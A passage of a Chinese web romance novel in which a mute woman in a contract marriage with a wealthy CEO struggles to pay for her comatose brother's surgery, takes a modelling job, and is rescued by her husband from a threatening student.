他还在等她回应,诸愿下意识攥紧手指,却忘了手正被他牢牢握着,这一收,反倒像主动回握,成了最暧昧的应答。 她慌忙想抽手,顾识弈却骤然收力,掌心滚烫却坚定,将她的挣扎困得纹丝不动。 抬眼撞进他灼热的目光,诸愿彻底僵在原地,脑子里一片空白,不知道该做出什么反应才对。 就在这时,远处传来一声轻咳,打破了凝滞的氛围。 诸愿循声望去,一对白发老人缓缓走来,林秘书跟在身后,身旁还伴着位管家,两人看向老人时,眼底是毫不掩饰的敬重,显然是一同前来。 诸愿心头骤然清明,原来方才顾识弈那番“真情流露”,不过是演技精湛的剧情演绎,而她刚刚竟像个蹩脚龙套,傻愣愣当了真。 懊恼瞬间漫上来,她既气自己轻易动容,又怕顾识弈回头追责她没演好“顾太太”的身份。 念头落地的刹那,诸愿心一横,踮起脚尖,仰头凑近他。 在距离顾识弈唇瓣仅剩几毫米时她停下,迎着他瞬间变深的目光,用柔软的唇珠轻轻擦过他的唇角。 做完这一切,她退开半步,心里腹诽:这下顾识弈总挑不出错了吧? 可顾识弈却像被按下暂停键,整个人僵在原地,唯有眼底生出许多错愕,仿佛没料到她会如此“入戏”。 诸愿轻蹙眉头,难道她又做错了? 没等她细想,老人已走近。 顾识弈像是挣扎了一瞬,最后深深看了她一眼,那目光复杂难辨,才转身迎过去,声音恭谨:“外公外婆。” 林外公和林外婆点点头,目光温和地落在诸愿身上,带着长辈特有的慈爱:“带外孙媳来看你母亲?” “嗯。”顾识弈应着,侧身将诸愿拉到身边,介绍道:“她叫诸愿。” 诸愿挨着他站定,心里发紧。上次去顾宅的经历,让她对顾识弈的长辈始终带着点怯意。 可老人却笑着夸她:“女娃长得真好看,瞧着就讨喜。”随即追问:“打算什么时候办婚礼?” 迎着老人满怀期待的眼神,诸愿实在撒不出谎话,下意识看向顾识弈求助。 他接收到信号,伸手揽住她的肩,掌心的温度透过衣料传来,语气从容又认真:“已经在计划了,不会太久。” 外公外婆笑得眉眼弯弯,反复叮嘱:“好好待人家。” 顾识弈看向诸愿,郑重点头:“我会的。”那眼神认真得又让她心头微颤,可转瞬又清醒。 这不过是哄老人的话,当不得真。 待老人去看顾母,顾识弈先送诸愿下山。中午几人在附近吃了顿素斋,便各自道别离开。 第二天诸愿要上班,前一晚睡得早,她一觉睡到自然 醒,闹钟都还没响。 慢悠悠地洗漱、换衣,下楼时却见顾识弈竟比她还早坐在餐厅,指尖捏着一份文件,晨光落在他侧脸,柔和了平日里的冷硬。 静姨端着餐点从厨房出来,笑着喊她:“太太,早餐备好了。” 诸愿点点头,暗自反省:最近没闯祸,不用怕和他相处。 她在顾识弈对面坐下,放松地拿起面前的吐司咬了一口,刚想起身去拿中间的牛奶,顾识弈却先一步伸手,稳稳地将牛奶杯推到她面前,杯里还插着根吸管。 诸愿愣住,眼里闪过惊讶与疑惑,更多的是受宠若惊。 之后,但凡她有起身的迹象,顾识弈总能提前把她想吃的东西递过来,动作自然得仿佛本该如此。 诸愿都有点不敢碰远处的早点了,生怕又麻烦他。 好不容易吃完早饭,诸愿准备出门,却发现门口只有王叔那辆车。 顾识弈在一旁像是才想起似的,解释道:“李叔病情加重,住院了。你最近跟我一起坐王叔的车去上班吧。” 诸愿迟疑,为什么不雇个临时司机? 她和顾识弈上班时间一致,自己又习惯踩点,王叔若先送她,顾识弈难免迟到。虽说他不用打卡,但时间总归宝贵。 她正想提议,转念一想,顾识弈都没意见,她何必多事?只默默盼着李叔早日康复,少麻烦他一些。 九月第一天,诸愿提前下班,装模作样在微信上发消息:【我下班了,你是不是还没忙完?要不我自己打车回去吧。】 信息刚发出,顾识弈的回复就来了:【在来的路上,刚绕了点路。】 诸愿看了眼时间,五点才刚过。 她们这行常加班,没事时公司会允许早走,可顾识弈不是六点才下班吗?难道他翘班了?转念又觉得这想法好笑,整个公司都是他的,翘不翘班还不是他说了算。 没办法,她只好坐在公司大厅沙发上等。 意外的是,不到五分钟,就收到顾识弈的信息:【我到了。】出去一看,门口果然停着王叔的车。 她过去正要拉后车门,副驾驶的车窗却先降了下来,顾识弈的声音传来:“坐前面。” 诸愿这才发现今天是他亲自开车。 她转去拉副驾驶的车门,视线瞬间被座位上那捧硕大的玫瑰花吸引,整个人都定住了。 那玫瑰红得热烈,花苞饱满,一看就价值不菲。 她愣了半天没动,连顾识弈都察觉到不对劲,侧头问她:“怎么了?” 诸愿回过神,摇摇头,小心翼翼地抱起那捧看起来有九十九朵的玫瑰花,坐进车里。 顾识弈见她这般郑重,猜想一定是喜欢。 包扎花束时被刺扎到的指尖还有些微痛,心里却满是甜味。 车开到家,顾识弈却发现诸愿抱着花站在车门边,迟迟不动。 他再次问:“怎么了?” 诸愿看着他,把花递了过去,等他接稳,才拿出手机打字:【这花要不要闪送给王叔?】 顾识弈看懂的那一瞬,又气又笑,简直难以置信:“你以为这花是王叔的?” 没想到诸愿竟真的认真地点了点头。 他立刻想解释,这是他特意为她挑的,话到嘴边却顿住了。 她为什么会觉得花是王叔的? 车里明明只有他们两个人。 琢磨了半天,他试探着问:“你是觉得这花……很土?” 诸愿瞬间露出尬尴的笑容,内心却在想:除了王叔,谁还会买花呢? 总不可能是顾识弈买的。 但这话她没说,算是默认了“觉得土”这个答案。 顾识弈低头看着怀里的玫瑰,花瓣娇艳欲滴。 为了回应她之前绣的香囊,这是他挑选了许久的款式,还亲手包得扎,没想到竟被嫌“土”。 他压下解释的念头,把花塞回她怀里,随口编了个理由:“王叔本来想买来探望李叔的,结果下错单买了玫瑰,花店不给退,他刚给我车的时候忘记拿走了,让我随便处理。”说完看着她,“你看着办吧。” 诸愿没想到还有这曲折,接过花垂眸打量。 虽说包装确实“土”,但花的品相极好,开得鲜活,拆开包装插成花束,或许会好看? 于是她收下花,给王叔转了笔钱,当作是自己买的。 回到家,诸愿拆开包装纸,静姨很快拿来剪花枝的剪刀和花瓶。 顾识弈站在楼梯口看着,见她第一时间就把包装纸丢进垃圾桶,心里郁闷了下,却又被她专注剪枝、眼里满是期待的模样逗笑了。 算了,下次包扎得好看些就是了。 晚饭时,他下楼就看见餐桌上摆着一盆高低错落的玫瑰插花,客厅茶几上、玄关柜处也各放了一瓶。 家里向来是极简冷色系,鲜少能见到这般鲜活的装饰,这几瓶玫瑰一摆,倒添了几分生气。 更让他意外的是,回房时竟发现床头柜上也放着一口白瓶,里面插着一支开得正好的红玫瑰,在昏黄的灯光下,透着几分说不清的温柔。 顾识弈愣了几秒,忽然笑出声,心底因“被嫌土”生出的郁闷,彻底烟消云散。 那夜,顾识弈闻着床头的玫瑰香,一夜没睡好,满脑子都在想诸愿是如何认真插花、把玫瑰放进他房间的模样。 之后的日子,顾识弈每天早上送诸愿上班,晚上准时出现在向梦楼下,风雨无阻。 诸愿终于忍不住,打字问:【李叔病得很严重吗?我们要不要去看看他?】 顾识弈正给她系披巾,闻言差点脱口而出“不严重”,又猛地想起自己编的借口,话锋一转。 “医生建议暂时不要出院。刚做完手术,他精神也不太好,连妻儿都没多少力气聊天,怕是没精力见我们。” 诸愿仰着头,让他把披巾在前襟系好纽扣,听完犹豫地点点头。 顾识弈抻平披巾的褶皱,牵起她的手,温声宽慰:“放心,我已经安排他转去最好的医院,配了顶尖的医疗团队,李叔会没事的。” 诸愿任由他牵着,亦步亦趋地跟在旁边,闻言再次点头。 相处这么久,她已经知道顾识弈说“没事”的分量了。既然这样,就一定不会有事。 秋分过后,天气渐凉,还风大。 就站在外面这么一会儿,诸愿就冷得发抖,披上披巾身子才渐渐暖和,等坐上车,她忽然意识到,顾识弈好像在不知不觉中,对她越来越关爱了? 没等她想明白,顾识弈开口:“陪我去‘旬宴’和朋友吃顿饭?” 诸愿早就听说‘旬宴’的饭菜很好吃,闻言立刻点头,眼里闪着雀跃的光。 顾识弈看着她亮晶晶的眼睛,嘴角也忍不住弯了弯。 他和诸愿互通心意已久,是时候给她一个名正言顺的身份了。 他打算向亲朋好友宣布,诸愿是他要共度余生的人—— 作者有话说:顾识弈:我和诸愿互通心意已久。[害羞] 诸愿:你是说我吗?(指我.jpg)[问号] 第27章 顾识弈握着诸愿的手踏入包厢时,里面已经坐了三五人,轻松氛围里,唯有角落里的章司年像株焉掉的野草,透着股格格不入的颓丧。 他面前的空酒瓶东倒西歪,旁边有人拍着他的背,劝慰:“年哥,犯不着跟那种人置气,天涯何处无芳草啊。” “你们懂个屁!”章司年猛地将酒杯惯在桌上,眼眶红得像充血,鼻涕眼泪混在一起,“她甩我就算了,转头就跟我道歉,说什么她跟我在一起只是为了取经,她也要开一家酒吧。合着跟我在一起,就是为了利用我!你们说她脑子是不是有病?用这种手段,老子还真上当了,丢脸丢到太平洋了!” 他抓起酒瓶要再倒酒,眼角余光瞥见门口的两人,眼睛骤然亮了,举着酒杯就踉跄着走过来:“老顾,你可算来——” 醉意让他脚步虚浮,身子一歪,手里的红酒杯跟着倾斜,猩红的酒液晃出杯沿。诸愿只来得及睁大眼睛,手腕突然被用力攥紧,整个人被拽进一个带着体温的怀抱。 “哗啦”一声,酒液尽数泼出。 她下意识缩了缩脖子,从顾识弈怀里抬头时,才看见他黑色西装的后背湿了一大片,深色的湿痕在衣料上蔓延,透着几分狼狈。 顾识弈的脸沉得像锅底,周遭喧闹瞬间掐断,连空气都仿佛凝固了。 “我让人送套 衣服过来!“不知是谁先打破沉默,紧接着有人附和,“‘旬宴’楼上有休息间,去那换!” 众人慌忙上前打圆场,诸愿也急得手心冒汗,却不会说话,只能轻轻扯了扯顾识弈的胳膊,眼神示意他先去换衣服。 罪魁祸首章司年彻底懵了,愣了几秒才反应过来,冷汗瞬间浸透了后背。 昨天顾识弈特意跟他说,今天有重要的事要宣布,他这一泼,简直是搅局! “哥,我不是故意的……”他苦着脸求饶。 顾识弈先低头检查诸愿身上有没有沾到酒,确认她干干净净后,才冷声道:“回头再跟你算账。” 他拢了拢诸愿被压乱的头发,声音放轻:“在沙发上等我,很快就回。” 诸愿点点头,看着他转身离开,旁边的章司年热络地让她坐下。 刚坐下没几分钟,兜里的手机突然震动起来,屏幕上跳动的“护工”二字让她心头一紧。 三年来,她每月都会给照顾哥哥的护工额外补贴,反复叮嘱“有事发消息,急事打电话”。而这三年里,护工从未打过电话,哥哥也一直安安稳稳地躺在病床上。 指尖微微发抖,她按下接听键,护工急促又带着喜悦的声音传来:“诸小姐,您哥哥身体有反应了!快到医院来。” 哥哥有反应了? 诸愿眨了眨眼,只觉得这话不真切,仿佛是幻听。 但身体比大脑先做出反应,她猛地站起身,不顾周围人疑惑的目光,快步往包厢外跑。 “嫂子,你去哪?不等顾哥了?”章司年在旁边“领命”照看她,见状赶紧起身去拦,手伸到半空又不敢碰,只能跟在后面喊。 诸愿什么也听不见,满心只有“去医院”这一个念头。刚推开包厢门,额头就撞上一个坚硬的胸膛,她抬头,撞进顾识弈带着疑惑的眼眸里。 他刚换好衣服,脸色还带着几分冷冽,见她慌慌张张的样子,眉目舒展:“怎么出来了?出什么事了?”目光扫过后面跟着的章司年,眼底又多了几分审视。 章司年百口莫辩,只能在心里叫苦。 诸愿这才猛然想起,自己是陪顾识弈来“工作”的,要扮演好“顾太太”的角色。 眼下聚会还没结束,不该擅自离开。 可哥哥还在医院等着她,那是她等了三年的消息。 她咬了咬唇,拿出手机飞快打字:【我哥哥在医院醒了,现在想去看看,可以吗?】 顾识弈看着屏幕,又看向诸愿泛红的眼眶和微微蜷缩的手指,那份急切藏也藏不住。 他压下没能顺利官宣的失落,伸手揉了揉她的头:“我们一起去。”比起自己的事,他更想满足她的需求。 临走前,他朝章司年递了个眼神:“回头再聚。”算是揭过了方才被泼酒的事。 章司年如蒙大赦,连忙比了个“OK”的手势。 到了仁爱医院,诸愿快步跑到606病房,却发觉里面空无一人。她反复确认病房号,没有错,是606,可哥哥怎么不在? 她随手拦住一个路过的护士,焦急地比划着,想知道病人的去向。 护士却摇摇头:“你想表达什么?我看不懂。” 诸愿还要再比划,旁边的顾识弈拉住她,代为问道:“这个病房的患者去哪里了?” 护士这才听懂,却带来一个坏消息:“患者突然浑身抽搐,被推去抢救室了。你们是家属?那直接去抢救室等吧。” “诸愿!”眼看着诸愿就要倒下,顾识弈及时扶住她。诸愿仰头看他,张了张口,顾识弈看懂了她的唇语——带她去抢救室。 到了抢救室门口,诸贺的护工正拿着充电宝急急忙忙跑回来。 原来他挂了电话后手机就没电了,没能及时告知诸愿,所谓“身体有反应”,其实是诸贺病情加重被送进了抢救室。 面对护工的道歉,诸愿满心都是哥哥的安危,根本没心思听。顾识弈抬了抬手,护工明明没见过他,却莫名感到一股压迫感,下意识闭了嘴。 顾识弈扶着诸愿坐在抢救室门口的休息椅上,脱下外套盖在她微微发抖的身上,什么也没说。 诸愿确实没心思理会任何人,顾识弈的体贴让她心头一暖。当他在她身边坐下,让她靠在自己肩膀上时,她没有拒绝。 她太需要一个依靠,才能支撑着不倒下。 两个小时后,抢救结束。 诸贺被直接推进了ICU,主治医师找诸愿说明情况时,顾识弈识趣地拿起手机,借故回避,走到楼梯口却真的拨通了电话。 “帮我查一下诸贺。” “顾总,是太太的哥哥诸贺先生吗?”电话那头的林秘书迟疑地问。 “对。” “之前查太太资料时顺带查过,我发您。” 顾识弈这才想起,当初诸愿被送到他家时,他只确认了人没问题,第二次见面就带她去了民政局,至于她家人的资料,根本没兴趣打开。 那时他自信,诸愿在协议期间绝不可能脱离掌控。 可现在,他喜欢上了她,甚至某些事似乎并不跟他以为的那样,比如诸贺。 他原以为诸愿会被送来,定恨极了家人,却没想到她对哥哥如此上心。他不得不怀疑,曾经诸愿对他展示的下意识依赖,是不是源于诸贺。 林秘书很快发来资料:“诸家好像并不在意诸大少爷,三年前他出车祸后,就被丢在医院让一个护工照看,倒是太太每天都去。而且有个很奇怪的现象,护工只派了一个,保镖却安排了两名,什么也不做,就守在门口。按理,医院很安全,没必要费人力这样做。” 顾识弈见多了豪门腌臜事,一听就知道有问题。 他滑动着屏幕资料问:“诸贺走失过?” “对,在八岁的时候。”林秘书顿了顿,“顾总,您是想查诸世青先生对子女的态度吗?我再去打听。” “嗯。”顾识弈挂断电话,往回走,刚站在医生办公室门口,就听到门缝里传来声音:“我还是建议尽早手术,再拖下去,可能会终身瘫痪。诸小姐,您考虑一下。” 一分钟后,诸愿红着眼眶走出来,看到顾识弈时愣了一下,慌忙侧过脸擦眼泪。 顾识弈当做没看见,只问:“饿了吗?” 诸愿其实不饿,但想到顾识弈陪了自己一晚上,还是点了点头。 两人在医院附近吃饭,诸愿在等菜上时拿出手机递给顾识弈,屏幕上显示着:【今晚谢谢您。】 顾识弈正把碗里的牛肉夹给诸愿,瞥见手机上的字,心里掠过一丝异样,随即摇摇头说:“没事,他是你哥,也是我哥。”稍顿片刻,他状似随意地补充道:“你哥后续需要手术,要不要我来安排?顾家有专门的医疗团队,你不用操心。” 诸愿眼神瞬间亮了,却又迅速黯淡下去,默默收回手机,摇了摇头。 顾识弈皱眉,医生明明说情况紧急要尽早安排手术,诸愿为什么不愿意接受他的帮助? 他不知道,诸愿此刻心里天人交战:顾识弈的话像极了曾经诸世青的“好心”,那场骗局让她至今心有余悸。 可另一方面她也知道,哥哥的病情不等人,接受帮助,似乎是唯一的办法。 深夜,诸愿洗完澡躺在床上,翻来覆去睡不着,顾识弈的话反复在耳边回响。 到了后半夜,她终于还是起身打开了电脑,照着网上的模板拟了一份合同。 刚打印好,就听到隔壁顾识弈开门的声音,她立刻捧着合同追出去,跟在他身后。 顾识弈察觉到动静,回头看见她,有些惊讶:“周六怎么还起这么早?” 诸愿抿了抿唇,把合同和手机一起递了上去,屏幕上是她打的字:【这是借款合同,您看一下。要是觉得内容没问题,就在末尾处签个字。非常感谢您能帮我,这笔钱我一定会连本带利还上的,您放心!】 她想好了,白纸黑字写清楚,就不怕顾识弈日后拿“帮忙” 当筹码提不合理的要求了。 未想,顾识弈看完却突然收起了之前的温和,目光直直地看着她,语气坚决: “我不签。” 第28章 诸愿慌了一瞬就镇定下来。 她指尖飞快地在手机屏幕上敲击,对话框里的文字带着几分急切:【这是我照着网上模板拟的合同,您要是觉得不够正式,让法务改也可以的。或者您有什么条件,只要我能做到……】 “都不行。”顾识弈打断她未打完的字。 他上前一步,双手按住她的肩膀,微微用力,“诸愿,没有哪对夫妻,需要靠借款合同来帮衬对方的。” 诸愿喉间发紧,指甲深深掐进掌心,心里无声反驳:可我们是假夫妻啊。 先前她住院,顾识弈以“一年协议里的花销都算他的”为由包揽一切,她已暗自记着情分。 但这次要帮的是哥哥,数额巨大,她就算脸皮再厚,也做不到毫无付出地接受这份好意。 她轻轻摇头,指尖还没来得及落在键盘上解释,就见顾识弈眉头微蹙。 自上次两人从邻市回来,他已经很久没对自己露出这般严肃的模样了。 “如果你执意要我签这份合同,那这忙,我不帮。”话音落下,顾识弈转身就走。 他背影绷得笔直,像是憋着一股怒气,又像是被什么事堵得慌,周身萦绕着一股挥之不去的烦躁,连脚步声都比平时重了几分。 诸愿僵在原地,直到听不到声音,才缓缓挪动脚步。 双腿却像有无数只蚂蚁在啃噬,又酸又胀,心里更是空落落:她哪里做错了吗? 下楼时,静姨笑着汇报:“太太,顾总刚走,说去公司了。”诸愿点点头,没多问,匆匆扒了几口早饭就往外走,刚打开打车软件,就见王叔的黑色轿车静静停在别墅门口。 “太太,”王叔推门下车,笑得温和,“顾总说今天想自己开车上班,又知道您要去医院看诸贺先生,特意让我在这等着送您。” 诸愿心里像被打翻了酱料瓶,五味杂陈,说不清是什么滋味。 她怎会不知,顾识弈哪里是想自己开车,分明是特意把司机让给她。 可他早上明明那般不悦,为何还处处替她着想?她想问,却没那个勇气,王叔也给不了她答案,只能比划了句手语:〈谢谢。〉 到了医院,诸愿刚走到ICU走廊,眼角的余光就瞥见昨天消失的两个保镖。 他们没像以前那样守在病房门口,而是远远地溜达着,装作路人的模样。 她也装作没看见,换好防菌服走进ICU。 病床上,诸贺浑身插满管子,脸色苍白得像张纸。 她握着哥哥冰凉的手,在心里轻声说:哥,你再等等,我一定能凑够手术费,让你好起来。 离开ICU时,手机震了一下,是诸世青发来的短信:【别耍花招,让顾识弈的人赶紧撤走,不然别怪我不客气。】 诸愿心头了然,想来是昨天让顾识弈陪自己来医院,引起了诸世青的忌惮。 不过她并不担心,诸世青远在国外,生意没谈成,一时半会儿回不来,留在国内的爪牙也早被自己的人控制住送进了医院。 真正让她愁眉不展的,是哥哥的手术费和后续治疗费。 医生昨天刚说,单是进口的特效药,一瓶就要七十万,后续还有好几次复检手术,这笔钱,她实在不知该从何处筹措。 正远集团的总裁办公室里,顾识弈坐在办公桌后,指尖捏着一支铅笔,细细翻阅着林秘书刚送来的诸贺手术方案,时不时在“特效药”“术后护理”等关键信息旁圈画。 桌上的电话突然响起,屏幕上跳动着“弗朗切斯科”的名字。 他本想直接按掉,转念想起对方曾帮过诸愿,还是按下了接听键,开了免提。 “顾总。”弗朗切斯科的声音从听筒里传来,带着几分客气。 顾识弈“嗯”了一声,目光依旧落在方案上,没打算多寒暄。 “您和夫人最近还好吗?”弗朗切斯科的话刚出口,顾识弈的眉头就皱了起来。 他向来不喜欢和不熟的人谈论私事。 “弗朗切斯科,我记得你是个直爽的人。”言下之意,有话直说,别绕圈子。 弗朗切斯科立刻收敛了试探,直奔主题:“夫人刚刚发信息,问我有没有短期、来钱快的兼职。”说完,他又连忙补充,“上次不知道夫人有心脏病,让她扮演美人鱼下水差点出事,我实在不敢贸然介绍,想着先问问您的意思。” 电话那头沉默了半分钟,弗朗切斯科狐疑地看了眼手机屏幕,确认还在通话中,试探着叫了一声“顾总”。” “给她安排。”顾识弈的声音响起,带着一丝不易察觉的咬牙切齿,“但工作内容、时间、地点,要一字不落地告诉我。” 弗朗切斯科咽了口口水,连忙应下,挂了电话后还忍不住打了个寒颤。 顾总的语气,怎么听都像是在压抑怒火。 办公室里,顾识弈将手术方案随手丢在桌上,眼底翻涌着阴鸷。 他的预感没错,诸愿就是在和他撇清关系,甚至,宁愿去找外人做兼职,也不愿意接受他的帮助。 另一边,诸愿终于从弗朗切斯科那里得到了一份兼职——去画室给美术生当人体模特。 不用摆复杂姿势,只需静静坐着或者躺着就行。 薪水不低,每天三小时,给八百块。 虽然这点钱对哥哥的治疗费而言只是杯水车薪,但至少能让她心里稍稍踏实些,她立刻应了下来。 画室藏在老城区一条偏僻小巷深处的废弃仓库里,门口爬满了青藤,生锈的铁门旁挂着一块木质招牌,透着几分文艺又荒凉的气息。 诸愿刚到门口,一名四十多岁的女人迎了出来,介绍自己是画室招她的张老师。 知道诸愿无法说话,张老师主动说了很多,从画室的布局说到模特的工作内容,又聊了些学生们的趣事。 那些琐碎的话语,像温水一样渐渐驱散了诸愿心中的紧张。 “你形象气质都好,按照咱们商量的,在每天给你的八百里,再多给你两百,三小时一千快,你看行吗?” 诸愿眼睛一亮,连忙点头。一千块,至少能给哥哥交点住院费。 等到兼职结束的时候,已经将近六点。 诸愿刚想起身活动一下僵硬的四肢,一个扎着马尾的女学生突然红着眼眶跑过来,恳求她再留十五分钟,说还差一点才能画完,不然今天的作业就交不了了。 诸愿看着女孩泫然欲泣的模样,想着薪水本就多了两百,便心软地点了点头,继续维持侧身躺卧、一手撑头的姿势。 她没注意到,一道若有似无的视线,正紧紧地黏在自己身上。 其他学生陆续离开,老师点评完画作,和诸愿打了声招呼,也骑着电动车去接孩子了。 十五分钟后,诸愿终于可以站起身伸展四肢,才发现天色早已暗了下来。 天空泛着沉沉的靛蓝色,风里带着雨前的湿意。 诸愿赶紧收拾东西准备出门,突然,一道闪电划破天际,“轰隆”一声雷响紧随其后。 诸愿心头一紧,怕下雨淋湿,赶紧拎着包往外走。 刚走到巷口,一个戴着棒球帽、浑身穿黑的身影忽然挡在了前面。 诸愿眼皮一跳,下意识攥紧手机,指尖沁出薄汗。 对方比她高出一个头,身形挺拔,若是转身跑,肯定跑不掉,若是冲硬,她一个女生也不是对手。 她屏住呼吸,暗自盘算着,对方是路人劫财,还是诸世青派来的人? 就在这时,对方缓缓抬起了脸。 诸愿愣住,她记得他,画画极快,半小时就完成了作品,笔触细腻得惊人,连老师都夸他“尤其擅长捕捉人体曲线”。 见是画室的人,诸愿稍稍松了口气,刚想比划着问他有什么事,少年 的话就让她如坠冰窟。 “小愿老师,”少年脸上带着天真的笑,眼神却透着诡异的痴迷,“我很喜欢您的身材曲线,比画册上的模特好看多了,可以脱掉衣服给我画吗?就一次,我会多付钱的。” 诸愿震惊地睁大眼,若是能说话,她定会厉声呵斥。 可她不能说话,只能用力摇头。 在来之前,她特意和弗朗切斯科、美术老师再三确认过,只做普通模特,绝不做裸模。 “为什么不愿意?”少年的声音徒然冷了下来,笑容消失不见,“那个女生求你留下,你就留下了。我求你当我的模特,你却拒绝?” 他步步紧逼,高大的身影将诸愿完全笼罩,嗓音渗人如鬼魅:“你不会说话,要是我把你绑走,带到没人的地方,你是不是就愿意了?” 闪电再次亮起,惨白的光将诸愿惊恐的脸照得一清二楚,她下意识后退一步,后背重重抵在冰冷的墙壁上。 她无法开口呼救,又逃不出这绝境,活像砧板上待宰的鱼,只能任人摆布。 巷口外十米处,王叔坐在车里,透过后视镜偷偷打量后座的顾识弈。 他们已经在这里等了快一个小时了,按照弗朗切斯科提供的时间,诸愿半小时前就该出来了,却迟迟不见人影。 闪电亮起时,他低声问道:“顾总,好像要下雨了,夫人还没出来,要不要我进去看看?” 话音刚落,一直闭目养神的顾识弈突然睁开眼,推开车门就下了车,顺手拿起副驾上的黑色长柄雨伞。 王叔看着自家老板走向那条又旧又脏的小巷,心里震惊又感慨:谁能想到,执掌花城经济命脉、向来冷硬的顾总,竟会为了给夫人送伞,亲自来这种地方。 却不知顾识弈心里还憋着气,他想着送完伞就走。 可当他拐进巷口,看到眼前的一幕时,周身的寒气瞬间爆发,眼底只剩下滔天的怒意,恨不得立刻将眼前困住诸愿的人撕碎。 第29章 冰冷的墙壁抵住后背时,诸愿才惊觉自己退无可退。冷汗顺着额头滑落,滴在衣领上,晕开一小片深色的湿痕。 那些曾在视频里刷到过的防卫技巧,此刻在脑海里消失,恐惧如潮水般将她彻底淹没,只剩下一片空白的茫然。 对方步步紧逼,那股不加掩饰的恶意浓烈得令人窒息,压得她连思考的余地都没有。 就在她以为自己即将坠入深渊时,一声闷响划破了死寂的空气。 眼前的男生像断线的风筝般,整个人猛地朝右侧飞出去,重重载倒在地,发出一声痛苦的呻吟。 取而代之站在她面前的——是顾识弈! 他握着伞柄的手青筋暴起,显然是用它出的手。 诸愿的瞳孔骤然收缩,难以置信地望着他。 可他怎么会在这里? 没等她从震惊中回过神,被打倒的画室少年已经爬了起来,红着眼,像头被激怒的野兽般再次冲了过来。 顾识弈只看了她一眼,那眼神复杂难辨,似有千言万语,又似一片沉寂的深潭。 他随手丢掉那把已经有些弯曲的伞,转身赤手空拳迎了上去。 “砰——”又是一声闷响,少年再次狼狈倒地。 接下来的几秒钟,诸愿感觉自己的血液都凝固了。 她双腿发软,目瞪口呆地看着顾识弈。 他的动作快而狠戾,每一拳都精准有力,直到那少年蜷缩在地,进气少出气多,彻底失去了反抗的力气。 她终于回过神,想喊他停下,喉咙却不能发声。想冲上去拉开他,刚挪动一步,就软得“扑通”一声,重重跪倒在冰冷的地面上。 幸运的是,这声闷响终于让顾识弈停下了动作。 他转过头,看到跪在地上脸色惨白的诸愿,眼中的戾气瞬间消散得无影无踪,取而代之的是浓得化不开的担忧与慌乱。 他立刻冲了过来,在诸愿彻底失去意识前,是他焦急飞奔而来的模糊身影。 —— 诸愿是被一道雷声惊醒的。 她猛地睁开眼睛,视线直直地盯着天花板,大脑一片混沌。 窗外漆黑,急雨拍打着窗棂,几秒后,小巷里的恐惧和混乱记忆涌回脑海。 “有没有哪里不舒服?”身旁传来顾识弈温和的声音,带着一丝不易察觉的沙哑,“喝点水。” 诸愿侧过头,看到他正举着一杯温水,眼神里满是关切。 可看到这张脸,她的大脑却不受控制地浮现出他打人时那狠戾的模样,与此刻的温柔判若两人。 她下意识地瑟缩了一下,心里一阵发紧。 顾识弈递水的动作顿住了,眼底的光芒暗了暗,像是被她反应刺痛了,嘴角的弧度也僵硬了几分。 诸愿并非不知好歹。 她清楚顾识弈的凶狠皆是为了保护自己,可那份源自本能的害怕却怎么也藏不住。 现在看到顾识弈露出这样受伤的神情,她又感到一阵无措和愧疚。 当顾识弈垂下眼睫,像是要掩盖眼底的难过时,这种情绪达到了顶峰。 她下意识伸出手,一把抓住了他正要收回的手。 为了让他安心,也为了掩饰自己的慌乱,她强忍着头皮发麻的感觉,抓着他的手腕,就着他的姿势,小口小口地喝着杯中的温水。 她不知道的是,在她瑟缩的那一刻,顾识弈的心里正疯狂地盘算着如何解释。 他清楚,就算再来一次,他依然会毫不犹豫地动手。 结果,他反被诸愿微凉的指尖抓住,还被她主动靠近喝水。 顾识弈的心底就像平静的水面丢进了一颗小石子,激起圈圈涟漪,连带着心跳都乱了节奏。 即使他明白她只是误会了,却仍旧止不住地心动,伴随着一丝愧疚闪过心头。 但他却恶劣地没有解释,反而顺势垂下眼睑,露出更加落寞和受伤的表情。 果然,诸愿见状,连忙拿过床头的手机,快速打下一行字:【谢谢你救了我。】 但顾识弈想要的不止这个。 他主动开口,声音带着一丝不易察觉的恳求:“诸愿,让我来安排你哥哥的手术,好不好?” 别再为了那笔手术费去做那些危险的兼职了。 这一次有他及时出现,可万一哪次他不在呢?她该怎么保护自己? 一想到这些可能性,他就后怕不已,心脏像是被一只手紧紧攥紧,疼得厉害。 他几乎是条件反射地反抓住正要缩回被子里、似乎想拒绝他的诸愿的手,声音迫切却又努力克制着情绪:“好吗?” 少女的手微微抽动了一下,他寸步不让,眼神紧紧锁着她,却还是眼睁睁地看着她轻轻摇了摇头。 顾识弈皱起了眉头,眉宇间满是不解。 明明他们是法律上的夫妻,本就应该互相扶持。 他轻轻叹了口气,眼神复杂难辨地看着少女:“那你怎么样才肯接受我的帮助?一定要签那份合同才行?” 见她缓缓点头,他先是深吸一口气,仿佛攒足了力气,可下一刻又泄了下去,低声妥协:“好。” “但是,”他话锋一转,在诸愿猛地看过来、眼神里充满惊喜又警惕时,一字一句地说道,“我的条件是,以后,你都要听我的。” 诸愿原本已经做好了接受任何苛刻条件的准备,比如更加繁重的工作,或者更不平等的条约,却没想到顾识弈的条件竟如此简单——只是让她听话? 简单到让她觉得,这不过是他为了帮助自己而随口提出的敷衍条件。 顾识弈图什么呢? 仅仅是出于道义,帮她这个“妻子”? 这个疑问很快就有了答案。 顾识弈突然俯身靠近,温热的气息拂过她的脸颊,带着淡淡的松木香。 下一秒,温润的薄唇轻轻印在了她的额头上。 触感清晰而柔软。 像被细小的电流轻轻击中,从额头一路麻到 心底,让诸愿瞬间忘了呼吸。 脑海里只有一个念头在疯狂回荡—— 原来,顾识弈的条件,是她! 第二天早上,诸愿醒来时,看到床头柜上放着一份已经签好“顾识弈”名字的合同。 她摸了摸额头上昨晚被吻过的地方,那里似乎还残留着他的温度。 诸愿的嘴角勾起一抹自嘲的笑。 反正她已经卖给诸世青一次了,现在再“卖”给顾识弈一次,好像也没什么区别。 只要能救哥哥,她什么都愿意。 她只希望,在接下来的半年里,能尽快赚够钱还给顾识弈。 等到离婚的时候,这一切就都能彻底结束了。 因此,为了国庆中秋假期的三倍工资,诸愿主动放弃了休息,申请了加班。 郑誉拿着登记表来找她确认时,语气带着明显的惊讶:“确定八天都加班?” 那眼神,像是想不通她怎么会放着难得的长假不休,非要来公司“自虐”。 诸愿早上还听到公司很多同事在讨论加班的事,显然加班在公司里是常有的事,怎么郑誉一副她申请加班是什么惊天动地的大事的样子? 她带着一丝疑惑,又确定地点了点头。 